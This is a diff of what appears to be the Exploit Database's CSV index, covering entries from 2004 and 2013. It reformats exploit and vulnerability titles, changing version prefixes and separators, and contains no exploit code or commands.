 24540,platforms/php/webapps/24540.pl,"Brewthology 0.1 SQL Injection Exploit",2013-02-26,cr4wl3r,php,webapps,0
 24542,platforms/php/webapps/24542.txt,"Rix4Web Portal - Blind SQL Injection Vulnerability",2013-02-26,L0n3ly-H34rT,php,webapps,0
-24543,platforms/hardware/webapps/24543.txt,"IPMap v2.5 iPad iPhone - Arbitrary File Upload",2013-02-26,Vulnerability-Lab,hardware,webapps,0
+24543,platforms/hardware/webapps/24543.txt,"iOS IPMap 2.5 - Arbitrary File Upload",2013-02-26,Vulnerability-Lab,hardware,webapps,0
 24544,platforms/php/webapps/24544.txt,"MTP Image Gallery 1.0 (edit_photos.php, title param) - XSS Vulnerability",2013-02-26,LiquidWorm,php,webapps,0
 24545,platforms/php/webapps/24545.txt,"MTP Guestbook 1.0 - Multiple XSS Vulnerabilities",2013-02-26,LiquidWorm,php,webapps,0
 24546,platforms/php/webapps/24546.txt,"MTP Poll 1.0 - Multiple XSS Vulnerabilities",2013-02-26,LiquidWorm,php,webapps,0
-24547,platforms/php/remote/24547.rb,"Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability",2013-02-26,metasploit,php,remote,0
-24548,platforms/php/remote/24548.rb,"Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",2013-02-26,metasploit,php,remote,0
+24547,platforms/php/remote/24547.rb,"Kordil EDMS 2.2.60rc3 - Unauthenticated Arbitrary File Upload Vulnerability",2013-02-26,metasploit,php,remote,0
+24548,platforms/php/remote/24548.rb,"Glossword 1.8.8 & 1.8.12 - Arbitrary File Upload Vulnerability",2013-02-26,metasploit,php,remote,0
 24549,platforms/php/remote/24549.rb,"PolarPearCms PHP File Upload Vulnerability",2013-02-26,metasploit,php,remote,0
-24550,platforms/hardware/webapps/24550.txt,"WiFilet v1.2 iPad iPhone - Multiple Vulnerabilities",2013-02-26,Vulnerability-Lab,hardware,webapps,0
+24550,platforms/hardware/webapps/24550.txt,"WiFilet 1.2 iPad iPhone - Multiple Vulnerabilities",2013-02-26,Vulnerability-Lab,hardware,webapps,0
 24551,platforms/php/webapps/24551.txt,"Joomla! <= 3.0.2 (highlight.php) PHP Object Injection Vulnerability",2013-02-27,EgiX,php,webapps,0
 24552,platforms/php/webapps/24552.txt,"Wordpress Comment Rating Plugin 2.9.32 - Multiple Vulnerabilities",2013-02-27,ebanyu,php,webapps,0
 24555,platforms/linux/local/24555.c,"Archlinux x86-64 3.3.x-3.7.x x86-64 sock_diag_handlers[] Local Root",2013-02-27,sd,linux,local,0
@@ -21733,7 +21733,7 @@ id,file,description,date,author,platform,type,port
 24582,platforms/php/webapps/24582.txt,"SAFE TEAM Regulus 2.2 Custchoice.PHP Update Your Password Action Information Disclosure Vulnerability",2004-09-07,masud_libra,php,webapps,0
 24583,platforms/php/webapps/24583.txt,"SAFE TEAM Regulus 2.2 Customer Statistics Information Disclosure Vulnerability",2004-09-07,masud_libra,php,webapps,0
 24584,platforms/windows/remote/24584.c,"Cerulean Studios Trillian Client 0.74 MSN Module Remote Buffer Overflow Vulnerability",2004-09-08,Komrade,windows,remote,0
-24585,platforms/php/webapps/24585.txt,"BBS E-Market Professional bf_130 (v1.3.0) Remote File Include Vulnerability",2004-09-09,"Ahmad Muammar",php,webapps,0
+24585,platforms/php/webapps/24585.txt,"BBS E-Market Professional bf_130 (1.3.0) - Remote File Include Vulnerability",2004-09-09,"Ahmad Muammar",php,webapps,0
 24586,platforms/windows/dos/24586.txt,"Gearbox Software Halo Combat Evolved 1.x Game Server Remote Denial Of Service Vulnerability",2004-09-09,"Luigi Auriemma",windows,dos,0
 24587,platforms/php/webapps/24587.txt,"PostNuke Modules Factory Subjects Module 2.0 SQL Injection Vulnerability",2004-09-10,Criolabs,php,webapps,0
 24588,platforms/asp/webapps/24588.txt,"GetSolutions GetIntranet 2.2 Multiple Remote Input Validation Vulnerabilities",2004-09-10,Criolabs,asp,webapps,0
@@ -21749,8 +21749,8 @@ id,file,description,date,author,platform,type,port
 24598,platforms/multiple/remote/24598.txt,"SnipSnap 0.5.2 HTTP Response Splitting Vulnerability",2004-09-14,"Maestro De-Seguridad",multiple,remote,0
 24599,platforms/linux/dos/24599.txt,"CUPS 1.1.x UDP Packet Remote Denial Of Service Vulnerability",2004-09-15,"Alvaro Martinez Echevarria",linux,dos,0
 24600,platforms/windows/remote/24600.txt,"MyServer 0.7 Directory Traversal Vulnerability",2004-09-15,scrap,windows,remote,0
-24601,platforms/php/webapps/24601.txt,"BBS E-Market Professional bf_130 (v1.3.0) Multiple File Disclosure Vulnerabilities",2004-09-15,"Jeong Jin-Seok",php,webapps,0
-24603,platforms/hardware/webapps/24603.txt,"Remote File Manager v1.2 iOS - Multiple Vulnerabilities",2013-03-06,Vulnerability-Lab,hardware,webapps,0
+24601,platforms/php/webapps/24601.txt,"BBS E-Market Professional bf_130 (1.3.0) - Multiple File Disclosure Vulnerabilities",2004-09-15,"Jeong Jin-Seok",php,webapps,0
+24603,platforms/hardware/webapps/24603.txt,"Remote File Manager 1.2 iOS - Multiple Vulnerabilities",2013-03-06,Vulnerability-Lab,hardware,webapps,0
 24604,platforms/asp/webapps/24604.txt,"Snitz Forums 2000 Down.ASP HTTP Response Splitting Vulnerability",2004-09-16,"Maestro De-Seguridad",asp,webapps,0
 24605,platforms/windows/dos/24605.txt,"Microsoft Windows XP Explorer.EXE TIFF Image Denial of Service Vulnerability",2004-09-16,"Jason Summers",windows,dos,0
 24606,platforms/linux/local/24606.c,"Sudo 1.6.8 Information Disclosure Vulnerability",2004-09-18,"Rosiello Security",linux,local,0
@@ -21761,8 +21761,8 @@ id,file,description,date,author,platform,type,port
 24611,platforms/cgi/webapps/24611.txt,"YaBB 1.x/9.1.2000 Administrator Command Execution Vulnerability",2004-09-17,"GulfTech Security",cgi,webapps,0
 24612,platforms/cgi/webapps/24612.txt,"YaBB 1.x/9.1.2000 YaBB.pl IMSend Cross-Site Scripting Vulnerability",2004-09-17,"GulfTech Security",cgi,webapps,0
 24613,platforms/php/webapps/24613.txt,"ReMOSitory SQL Injection Vulnerability",2004-09-18,khoaimi,php,webapps,0
-24614,platforms/php/webapps/24614.txt,"Mambo Open Source 4.5.1 (1.0.9) XSS",2004-09-20,"Joxean Koret",php,webapps,0
-24615,platforms/php/webapps/24615.txt,"Mambo Open Source 4.5.1 (1.0.9) Function.php Arbitrary Command Execution",2004-09-20,"Joxean Koret",php,webapps,0
+24614,platforms/php/webapps/24614.txt,"Mambo Open Source 4.5.1 (1.0.9) - XSS",2004-09-20,"Joxean Koret",php,webapps,0
+24615,platforms/php/webapps/24615.txt,"Mambo Open Source 4.5.1 (1.0.9) - Function.php Arbitrary Command Execution",2004-09-20,"Joxean Koret",php,webapps,0
 24616,platforms/php/webapps/24616.txt,"TUTOS file_overview.php link_id Parameter SQL Injection",2004-09-20,"Joxean Koret",php,webapps,0
 24617,platforms/php/webapps/24617.txt,"TUTOS app_new.php t Parameter XSS",2004-09-20,"Joxean Koret",php,webapps,0
 24618,platforms/windows/dos/24618.c,"Impressions Games Lords of the Realm III Nickname Remote Denial Of Service Vulnerability",2004-09-20,"Luigi Auriemma",windows,dos,0
@@ -21774,7 +21774,7 @@ id,file,description,date,author,platform,type,port
 24624,platforms/windows/remote/24624.c,"Alt-N MDaemon 6.5.1 SMTP Server Multiple Command Remote Overflow",2004-09-16,D_BuG,windows,remote,0
 24625,platforms/asp/webapps/24625.txt,"FreezingCold Broadboard search.asp SQL Injection",2004-09-27,pigrelax,asp,webapps,0
 24626,platforms/asp/webapps/24626.txt,"FreezingCold Broadboard profile.asp SQL Injection",2004-09-27,pigrelax,asp,webapps,0
-24627,platforms/php/webapps/24627.txt,"Qool CMS v2.0 RC2 - Multiple Vulnerabilities",2013-03-07,LiquidWorm,php,webapps,0
+24627,platforms/php/webapps/24627.txt,"Qool CMS 2.0 RC2 - Multiple Vulnerabilities",2013-03-07,LiquidWorm,php,webapps,0
 24629,platforms/php/webapps/24629.txt,"CosCms 1.721 - OS Command Injection",2013-03-07,"High-Tech Bridge SA",php,webapps,0
 24630,platforms/cgi/webapps/24630.txt,"mnoGoSearch 3.3.12 (search.cgi) - Arbitrary File Read",2013-03-07,"Sergey Bobrov",cgi,webapps,0
 24631,platforms/asp/webapps/24631.txt,"PD9 Software MegaBBS 2.0/2.1 thread-post.asp Multiple Header CRLF Injection",2004-09-27,pigrelax,asp,webapps,0
@@ -21884,7 +21884,7 @@ id,file,description,date,author,platform,type,port
 24738,platforms/windows/dos/24738.c,"AlShare Software NetNote Server 2.2 Remote Denial of Service Vulnerability",2004-11-13,class101,windows,dos,0
 24739,platforms/php/webapps/24739.txt,"PowerPortal 1.3 Remote SQL Injection Vulnerability",2004-11-14,ruggine,php,webapps,0
 24740,platforms/hardware/webapps/24740.txt,"AirDrive HD 1.6 iPad iPhone - Multiple Vulnerabilities",2013-02-24,Vulnerability-Lab,hardware,webapps,0
-24741,platforms/windows/dos/24741.txt,"TagScanner v5.1 - Stack Buffer Overflow Vulnerability",2013-03-13,Vulnerability-Lab,windows,dos,0
+24741,platforms/windows/dos/24741.txt,"TagScanner 5.1 - Stack Buffer Overflow Vulnerability",2013-03-13,Vulnerability-Lab,windows,dos,0
 24742,platforms/php/webapps/24742.txt,"Web Cookbook - Multiple SQL Injection Vulnerabilities",2013-03-13,"Saadat Ullah",php,webapps,0
 24743,platforms/windows/dos/24743.txt,"Cam2pc 4.6.2 - BMP Image Processing Integer Overflow Vulnerability",2013-03-13,coolkaveh,windows,dos,0
 24744,platforms/multiple/webapps/24744.txt,"Apache Rave 0.11 - 0.20 - User Information Disclosure",2013-03-13,"Andreas Guth",multiple,webapps,0
@@ -21951,7 +21951,7 @@ id,file,description,date,author,platform,type,port
 24809,platforms/multiple/dos/24809.txt,"Kerio Personal Firewall 2.1.x/4.x Local Denial Of Service Vulnerability",2004-12-08,cesaro,multiple,dos,0
 24810,platforms/php/webapps/24810.txt,"PhpGedView 2.x Descendancy.PHP Cross-Site Scripting Vulnerability",2004-01-19,JeiAr,php,webapps,0
 24811,platforms/windows/remote/24811.txt,"F-Secure Policy Manager 5.11 FSMSH.DLL CGI Application Installation Path Disclosure Vulnerability",2004-12-09,oliver@greyhat.de,windows,remote,0
-24812,platforms/windows/dos/24812.py,"aktiv-player version 2.9.0 Crash PoC",2013-03-15,metacom,windows,dos,0
+24812,platforms/windows/dos/24812.py,"aktiv-player 2.9.0 - Crash PoC",2013-03-15,metacom,windows,dos,0
 24813,platforms/linux/remote/24813.pl,"GNU WGet 1.x Multiple Remote Vulnerabilities",2004-12-10,"Jan Minar",linux,remote,0
 24814,platforms/php/webapps/24814.txt,"PhpGedView 2.5/2.6 Index.PHP Cross-Site Scripting Vulnerability",2004-01-12,JeiAr,php,webapps,0
 24815,platforms/linux/dos/24815.txt,"Gamespy Software Development Kit CD-Key Validation Buffer Overflow Vulnerability",2004-12-10,"Luigi Auriemma",linux,dos,0
@@ -22010,20 +22010,20 @@ id,file,description,date,author,platform,type,port
 24869,platforms/php/webapps/24869.txt,"AContent 1.3 - Local File Inclusion",2013-03-22,DaOne,php,webapps,0
 24870,platforms/php/webapps/24870.txt,"Flatnux CMS 2013-01.17 (index.php, theme param) - Local File Inclusion",2013-03-22,DaOne,php,webapps,0
 24871,platforms/php/webapps/24871.txt,"Slash CMS - Multiple Vulnerabilities",2013-03-22,DaOne,php,webapps,0
-24872,platforms/windows/local/24872.txt,"Photodex ProShow Producer v5.0.3310 ScsiAccess - Local Privilege Escalation",2013-03-22,"Julien Ahrens",windows,local,0
+24872,platforms/windows/local/24872.txt,"Photodex ProShow Producer 5.0.3310 ScsiAccess - Local Privilege Escalation",2013-03-22,"Julien Ahrens",windows,local,0
 24873,platforms/php/webapps/24873.txt,"Stradus CMS 1.0beta4 - Multiple Vulnerabilities",2013-03-22,DaOne,php,webapps,0
 24874,platforms/multiple/remote/24874.rb,"Apache Struts ParametersInterceptor Remote Code Execution",2013-03-22,metasploit,multiple,remote,0
 24875,platforms/windows/remote/24875.rb,"Sami FTP Server LIST Command Buffer Overflow",2013-03-22,metasploit,windows,remote,0
 24876,platforms/windows/remote/24876.rb,"Cool PDF Image Stream Buffer Overflow",2013-03-22,metasploit,windows,remote,0
 24877,platforms/php/webapps/24877.txt,"OpenCart 1.5.5.1 (filemanager.php) - Directory Traversal Arbitrary File Access",2013-03-22,waraxe,php,webapps,0
-24879,platforms/php/webapps/24879.txt,"Free Hosting Manager V2.0.2 Multiple SQLi",2013-03-25,"Saadi Siddiqui",php,webapps,0
+24879,platforms/php/webapps/24879.txt,"Free Hosting Manager 2.0.2 - Multiple SQLi",2013-03-25,"Saadi Siddiqui",php,webapps,0
 24880,platforms/windows/dos/24880.pl,"IconCool MP3 WAV Converter 3.00 Build 120518 - Stack Buffer Overflow Vulnerability",2013-03-25,G0li47h,windows,dos,0
 24881,platforms/php/webapps/24881.txt,"ClipShare 4.1.1 (gmembers.php, gid param) - Blind SQL Injection Vulnerability",2013-03-25,Esac,php,webapps,0
 24882,platforms/php/webapps/24882.pl,"vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection",2013-03-25,"Orestis Kourides",php,webapps,0
 24883,platforms/php/webapps/24883.rb,"""Ra1NX"" PHP Bot pubcall Authentication Bypass Remote Code Execution",2013-03-25,bwall,php,webapps,0
-24884,platforms/windows/local/24884.html,"LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0-day",2013-03-25,Dr_IDE,windows,local,0
-24885,platforms/windows/local/24885.html,"LiquidXML Studio 2010 ActiveX Remote 0-day",2013-03-25,Dr_IDE,windows,local,0
-24886,platforms/windows/remote/24886.html,"Mitsubishi MX ActiveX Component v3 (ActUWzd.dll (WzTitle)) - Remote Exploit",2013-03-25,Dr_IDE,windows,remote,0
+24884,platforms/windows/local/24884.html,"LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0day",2013-03-25,Dr_IDE,windows,local,0
+24885,platforms/windows/local/24885.html,"LiquidXML Studio 2010 ActiveX Remote 0day",2013-03-25,Dr_IDE,windows,local,0
+24886,platforms/windows/remote/24886.html,"Mitsubishi MX ActiveX Component 3 - (ActUWzd.dll (WzTitle)) - Remote Exploit",2013-03-25,Dr_IDE,windows,remote,0
 24887,platforms/windows/remote/24887.rb,"KingView Log File Parsing Buffer Overflow",2013-03-25,metasploit,windows,remote,0
 24888,platforms/linux/remote/24888.rb,"Mutiny Remote Command Execution",2013-03-25,metasploit,linux,remote,0
 24889,platforms/php/webapps/24889.txt,"Wordpress Mathjax Latex Plugin 1.1 - CSRF Vulnerability",2013-03-26,"Junaid Hussain",php,webapps,0
@@ -22036,14 +22036,14 @@ id,file,description,date,author,platform,type,port
 24897,platforms/windows/remote/24897.rb,"KNet Web Server 1.04b - Buffer Overflow SEH",2013-03-29,"Myo Soe",windows,remote,0
 24898,platforms/php/webapps/24898.txt,"SynConnect PMS (index.php, loginid param) - SQL Injection Vulnerability",2013-03-29,"Bhadresh Patel",php,webapps,0
 24899,platforms/hardware/local/24899.txt,"Draytek Vigor 3900 1.06 - Privilege Escalation",2013-03-29,"Mohammad abou hayt",hardware,local,0
-24901,platforms/windows/webapps/24901.txt,"MailOrderWorks v5.907 - Multiple Vulnerabilities",2013-03-29,Vulnerability-Lab,windows,webapps,0
+24901,platforms/windows/webapps/24901.txt,"MailOrderWorks 5.907 - Multiple Vulnerabilities",2013-03-29,Vulnerability-Lab,windows,webapps,0
 24902,platforms/php/remote/24902.rb,"STUNSHELL Web Shell Remote PHP Code Execution",2013-03-29,metasploit,php,remote,0
 24903,platforms/php/remote/24903.rb,"STUNSHELL Web Shell Remote Code Execution",2013-03-29,metasploit,php,remote,0
 24904,platforms/windows/remote/24904.rb,"Java CMM Remote Code Execution",2013-03-29,metasploit,windows,remote,0
 24905,platforms/multiple/remote/24905.rb,"v0pCr3w Web Shell Remote Code Execution",2013-03-29,metasploit,multiple,remote,0
 24906,platforms/php/webapps/24906.txt,"AWS XMS 2.5 (importer.php, what param) - Directory Traversal Vulnerability",2013-03-29,"High-Tech Bridge SA",php,webapps,0
 24907,platforms/windows/remote/24907.txt,"McAfee Virtual Technician (MVT) 6.5.0.2101 - Insecure ActiveX Method",2013-03-29,"High-Tech Bridge SA",windows,remote,0
-24910,platforms/windows/local/24910.txt,"VirtualDJ Pro/Home <=7.3 Buffer Overflow Vulnerability",2013-04-02,"Alexandro Sánchez Bach",windows,local,0
+24910,platforms/windows/local/24910.txt,"VirtualDJ Pro/Home <= 7.3 - Buffer Overflow Vulnerability",2013-04-02,"Alexandro Sánchez Bach",windows,local,0
 24911,platforms/php/webapps/24911.txt,"Pollen CMS 0.6 (index.php, p param) - Local File Disclosure",2013-04-02,MizoZ,php,webapps,0
 24913,platforms/php/webapps/24913.txt,"Network Weathermap 0.97a (editor.php) - Persistent XSS",2013-04-02,"Daniel Ricardo dos Santos",php,webapps,0
 24914,platforms/php/webapps/24914.txt,"Wordpress FuneralPress Plugin 1.1.6 - Persistent XSS",2013-04-02,"Rob Armstrong",php,webapps,0
@@ -22080,7 +22080,7 @@ id,file,description,date,author,platform,type,port
 24951,platforms/linux/dos/24951.pl,"ircd-hybrid 8.0.5 - Denial of Service",2013-04-12,Kingcope,linux,dos,0
 24952,platforms/windows/dos/24952.py,"AT-TFTP Server 2.0 - Stack Based Buffer Overflow DoS",2013-04-12,xis_one,windows,dos,69
 24953,platforms/php/webapps/24953.txt,"Free Monthly Websites 2.0 - Admin Password Change",2013-04-12,"Yassin Aboukir",php,webapps,0
-24954,platforms/php/webapps/24954.txt,"Simple HRM System v2.3 and Below - Multiple Vulnerabilities",2013-04-12,Doraemon,php,webapps,0
+24954,platforms/php/webapps/24954.txt,"Simple HRM System <= 2.3 - Multiple Vulnerabilities",2013-04-12,Doraemon,php,webapps,0
 24955,platforms/linux/remote/24955.rb,"Nagios Remote Plugin Executor Arbitrary Command Execution",2013-04-12,metasploit,linux,remote,5666
 24956,platforms/hardware/remote/24956.rb,"DLink DIR-645 / DIR-815 diagnostic.php Command Execution",2013-04-12,metasploit,hardware,remote,0
 24957,platforms/php/webapps/24957.txt,"Vanilla Forums Van2Shout Plugin 1.0.51 - Multiple CSRF Vulnerabilities",2013-04-15,"Henry Hoggard",php,webapps,0
@@ -22112,7 +22112,7 @@ id,file,description,date,author,platform,type,port
 24985,platforms/php/remote/24985.txt,"PHP 4/5 addslashes() NULL Byte Bypass",2004-12-16,"Daniel Fabian",php,remote,0
 24986,platforms/cgi/webapps/24986.txt,"Ikonboard 3.x Multiple Remote SQL Injection Vulnerabilities",2004-12-16,Anonymous,cgi,webapps,0
 24987,platforms/php/webapps/24987.txt,"JSBoard 2.0.x Remote Arbitrary Script Upload Vulnerability",2004-12-16,"Jeremy Bae",php,webapps,0
-24988,platforms/php/webapps/24988.txt,"WordPress 1.2.1/1.2.2  /wp-admin/post.php content Parameter XSS",2004-12-16,"Thomas Waldegger",php,webapps,0
+24988,platforms/php/webapps/24988.txt,"WordPress 1.2.1/1.2.2 /wp-admin/post.php content Parameter XSS",2004-12-16,"Thomas Waldegger",php,webapps,0
 24989,platforms/php/webapps/24989.txt,"WordPress 1.2.1/1.2.2 /wp-admin/templates.php file Parameter XSS",2004-12-16,"Thomas Waldegger",php,webapps,0
 24990,platforms/php/webapps/24990.txt,"WordPress 1.2.1/1.2.2 link-add.php Multiple Parameter XSS",2004-12-16,"Thomas Waldegger",php,webapps,0
 24991,platforms/php/webapps/24991.txt,"WordPress 1.2.1/1.2.2 link-categories.php cat_id Parameter XSS",2004-12-16,"Thomas Waldegger",php,webapps,0
@@ -22138,18 +22138,18 @@ id,file,description,date,author,platform,type,port
 25014,platforms/php/webapps/25014.txt,"WorkBoard 1.2 Multiple Cross-Site Scripting Vulnerabilities",2004-12-17,Lostmon,php,webapps,0
 25015,platforms/linux/remote/25015.txt,"Michael Kohn Ringtone Tools 2.22 EMelody File Remote Buffer Overflow Vulnerability",2004-12-15,"Qiao Zhang",linux,remote,0
 25016,platforms/windows/remote/25016.txt,"ASP2PHP 0.76.23 Preparse Token Variable Buffer Overflow Vulnerability",2004-12-15,"Qiao Zhang",windows,remote,0
-25017,platforms/linux/dos/25017.txt,"UML_Utilities  User-Mode Linux uml_utilities 20030903 UML_Net Slip Network Interface Denial Of Service Vulnerability",2004-12-15,"Danny Lungstrom",linux,dos,0
+25017,platforms/linux/dos/25017.txt,"UML_Utilities User-Mode Linux uml_utilities 20030903 UML_Net Slip Network Interface Denial Of Service Vulnerability",2004-12-15,"Danny Lungstrom",linux,dos,0
 25018,platforms/multiple/remote/25018.txt,"ABC2MTEX 1.6.1 Process ABC Key Field Buffer Overflow Vulnerability",2004-12-15,"Limin Wang",multiple,remote,0
 25019,platforms/multiple/remote/25019.txt,"ABC2MIDI 2004-12-04 Multiple Stack Buffer Overflow Vulnerabilities",2004-12-15,"Limin Wang",multiple,remote,0
 25020,platforms/windows/remote/25020.txt,"Michael Kohn VB2C 0.02 FRM File Remote Buffer Overflow Vulnerability",2004-12-15,"Qiao Zhang",windows,remote,0
 25021,platforms/windows/remote/25021.txt,"ABCPP 1.3 Directive Handler Buffer Overflow Vulnerability",2004-12-15,"Yosef Klein",windows,remote,0
-25022,platforms/windows/remote/25022.txt,"Jef Moine abcm2ps 3.7.20  ABC File Remote Buffer Overflow Vulnerability",2004-12-15,"Limin Wang",windows,remote,0
+25022,platforms/windows/remote/25022.txt,"Jef Moine abcm2ps 3.7.20 ABC File Remote Buffer Overflow Vulnerability",2004-12-15,"Limin Wang",windows,remote,0
 25023,platforms/windows/remote/25023.txt,"PGN2WEB 0.3 Buffer Overflow Vulnerability",2004-12-15,"Tom Palarz",windows,remote,0
 25024,platforms/hardware/webapps/25024.txt,"D-Link DIR-635 - Multiple Vulnerabilities",2013-04-26,m-1-k-3,hardware,webapps,0
 25025,platforms/windows/remote/25025.txt,"ABC2PS/JCABC2PS 1.2 Voice Field Buffer Overflow Vulnerability",2004-12-15,"Tom Palarz",windows,remote,0
 25026,platforms/windows/remote/25026.txt,"Mesh Viewer 0.2.2 Buffer Overflow Vulnerability",2004-12-15,"Mohammed Khan",windows,remote,0
 25027,platforms/windows/remote/25027.txt,"abctab2ps 1.6.3 Write_Heading Function ABC File Remote Buffer Overflow Vulnerability",2004-12-15,"Limin Wang",windows,remote,0
-25028,platforms/multiple/remote/25028.txt,"CSV2XML 0.5.1 Buffer Overflow Vulnerability",2004-12-15,"Limin Wang",multiple,remote,0
+25028,platforms/multiple/remote/25028.txt,"CSV2XML 0.5.1 - Buffer Overflow Vulnerability",2004-12-15,"Limin Wang",multiple,remote,0
 25029,platforms/windows/remote/25029.txt,"abctab2ps 1.6.3 Trim_Title Function ABC File Remote Buffer Overflow Vulnerability",2004-12-15,"Limin Wang",windows,remote,0
 25030,platforms/linux/remote/25030.txt,"GNU UnRTF 0.19.3 Font Table Conversion Buffer Overflow Vulnerability",2004-12-15,"Yosef Klein",linux,remote,0
 25031,platforms/windows/remote/25031.html,"Windows Media Player 9.0 ActiveX Control Media File Attribute Corruption Weakness",2004-12-18,"Arman Nayyeri",windows,remote,0
@@ -22202,7 +22202,7 @@ id,file,description,date,author,platform,type,port
 25078,platforms/asp/webapps/25078.txt,"Eurofull E-Commerce Mensresp.ASP Cross-Site Scripting Vulnerability",2005-02-02,Yani-ari,asp,webapps,0
 25079,platforms/multiple/remote/25079.txt,"People Can Fly Painkiller Gamespy 1.3 CD-Key Hash Remote Buffer Overflow Vulnerability",2005-02-02,"Luigi Auriemma",multiple,remote,0
 25080,platforms/linux/local/25080.txt,"Newsgrab 0.5.0pre4 Multiple Local And Remote Vulnerabilities",2005-02-02,"Niels Heinen",linux,local,0
-25081,platforms/multiple/dos/25081.txt,"LANChat Pro Revival  1.666c UDP Processing Remote Denial Of Service Vulnerability",2005-04-29,"Donato Ferrante",multiple,dos,0
+25081,platforms/multiple/dos/25081.txt,"LANChat Pro Revival 1.666c UDP Processing Remote Denial Of Service Vulnerability",2005-04-29,"Donato Ferrante",multiple,dos,0
 25082,platforms/hardware/dos/25082.txt,"Linksys PSUS4 PrintServer Malformed HTTP POST Request Denial Of Service",2005-02-03,"laurent oudot",hardware,dos,0
 25083,platforms/windows/dos/25083.txt,"RaidenHTTPD 1.1.27 Remote File Disclosure Vulnerability",2005-02-05,"Donato Ferrante",windows,dos,0
 25084,platforms/asp/webapps/25084.txt,"Microsoft Outlook 2003 Web Access Login Form Remote URI Redirection Vulnerability",2005-02-07,"Morning Wood",asp,webapps,0
@@ -22220,7 +22220,7 @@ id,file,description,date,author,platform,type,port
 25096,platforms/cgi/webapps/25096.txt,"AWStats 5.x/6.x Debug Remote Information Disclosure Vulnerability",2005-02-14,GHC,cgi,webapps,0
 25097,platforms/php/webapps/25097.txt,"Brooky CubeCart 2.0.1/2.0.4 ndex.php language Parameter XSS",2005-02-14,"John Cobb",php,webapps,0
 25098,platforms/php/webapps/25098.txt,"Brooky CubeCart 2.0.1/2.0.4 index.php language Parameter Traversal Arbitrary File Access",2005-02-14,"John Cobb",php,webapps,0
-25099,platforms/php/webapps/25099.txt,"CitrusDB 0.3.6  importcc.php Arbitrary Database Injection",2005-02-15,"RedTeam Pentesting",php,webapps,0
+25099,platforms/php/webapps/25099.txt,"CitrusDB 0.3.6 importcc.php Arbitrary Database Injection",2005-02-15,"RedTeam Pentesting",php,webapps,0
 25100,platforms/php/webapps/25100.txt,"CitrusDB 0.3.6 uploadcc.php Arbitrary Database Injection",2005-02-15,"RedTeam Pentesting",php,webapps,0
 25101,platforms/php/webapps/25101.txt,"CitrusDB 0.3.6 importcc.php CSV File SQL Injection",2005-02-15,"RedTeam Pentesting",php,webapps,0
 25102,platforms/php/webapps/25102.txt,"CitrusDB 0.3.6 Remote Authentication Bypass Vulnerability",2004-02-15,"RedTeam Pentesting",php,webapps,0
@@ -22239,7 +22239,7 @@ id,file,description,date,author,platform,type,port
 25115,platforms/php/webapps/25115.txt,"paFaq beta4 answer.php offset Parameter SQL Injection",2005-02-17,pi3ch,php,webapps,0
 25116,platforms/php/webapps/25116.txt,"paFaq beta4 search.php search_item Parameter SQL Injection",2005-02-17,pi3ch,php,webapps,0
 25117,platforms/php/webapps/25117.txt,"paFaq beta4 comment.php Multiple Parameter SQL Injection",2005-02-17,pi3ch,php,webapps,0
-25118,platforms/php/webapps/25118.txt,"BibORB 1.3.2  bibindex.php search Parameter XSS",2005-02-17,"Patrick Hof",php,webapps,0
+25118,platforms/php/webapps/25118.txt,"BibORB 1.3.2 bibindex.php search Parameter XSS",2005-02-17,"Patrick Hof",php,webapps,0
 25119,platforms/php/webapps/25119.txt,"BibORB 1.3.2 Add Database Description Parameter XSS",2005-02-17,"Patrick Hof",php,webapps,0
 25120,platforms/php/webapps/25120.txt,"BibORB 1.3.2 index.php Traversal Arbitrary File Manipulation",2005-02-17,"Patrick Hof",php,webapps,0
 25121,platforms/php/webapps/25121.txt,"BibORB 1.3.2 Login Module Multiple Parameter SQL Injection",2005-02-17,"Patrick Hof",php,webapps,0
@@ -22255,7 +22255,7 @@ id,file,description,date,author,platform,type,port
 25131,platforms/windows/local/25131.py,"WinArchiver 3.2 - SEH Buffer Overflow",2013-05-01,RealPentesting,windows,local,0
 25132,platforms/multiple/remote/25132.txt,"Bontago Game Server 1.1 Remote Nickname Buffer Overrun Vulnerability",2005-02-21,"Luigi Auriemma",multiple,remote,0
 25133,platforms/multiple/remote/25133.txt,"Xinkaa WEB Station 1.0.3 Directory Traversal Vulnerability",2005-02-21,"Luigi Auriemma",multiple,remote,0
-25134,platforms/linux/local/25134.c,"sudo v1.8.0-1.8.3p1 (sudo_debug) - Root Exploit + glibc FORTIFY_SOURCE Bypass",2013-05-01,aeon,linux,local,0
+25134,platforms/linux/local/25134.c,"sudo 1.8.0-1.8.3p1 (sudo_debug) - Root Exploit + glibc FORTIFY_SOURCE Bypass",2013-05-01,aeon,linux,local,0
 25135,platforms/windows/dos/25135.txt,"Syslog Watcher Pro 2.8.0.812 - (Date Parameter) - Cross Site Scripting Vulnerability",2013-05-01,demonalex,windows,dos,0
 25136,platforms/php/remote/25136.rb,"phpMyAdmin Authenticated Remote Code Execution via preg_replace()",2013-05-01,metasploit,php,remote,0
 25137,platforms/php/remote/25137.rb,"Wordpress W3 Total Cache PHP Code Execution",2013-05-01,metasploit,php,remote,0
@@ -22325,7 +22325,7 @@ id,file,description,date,author,platform,type,port
 25201,platforms/cgi/webapps/25201.txt,"NewsScript Access Validation Vulnerability",2005-03-08,adrianc23@gmail.com,cgi,webapps,0
 25202,platforms/linux/local/25202.c,"Linux Kernel 2.6.x SYS_EPoll_Wait Local Integer Overflow Vulnerability (1)",2005-03-09,sd,linux,local,0
 25203,platforms/linux/local/25203.c,"Linux Kernel 2.6.x SYS_EPoll_Wait Local Integer Overflow Vulnerability (2)",2005-03-09,alert7,linux,local,0
-25204,platforms/windows/local/25204.py,"ABBS Audio Media Player v3.1 (.lst) Buffer Overflow",2013-05-04,"Julien Ahrens",windows,local,0
+25204,platforms/windows/local/25204.py,"ABBS Audio Media Player 3.1 - (.lst) Buffer Overflow",2013-05-04,"Julien Ahrens",windows,local,0
 25205,platforms/multiple/remote/25205.txt,"Techland XPand Rally 1.0/1.1 Remote Format String Vulnerability",2005-03-10,"Luigi Auriemma",multiple,remote,0
 25206,platforms/php/webapps/25206.txt,"PHPOutsourcing Zorum 3.5 Multiple Remote Vulnerabilities",2005-03-10,benjilenoob,php,webapps,0
 25207,platforms/windows/remote/25207.txt,"PY Software Active Webcam Webserver 4.3/5.5 Multiple Vulnerabilities",2005-03-10,sowhat,windows,remote,0
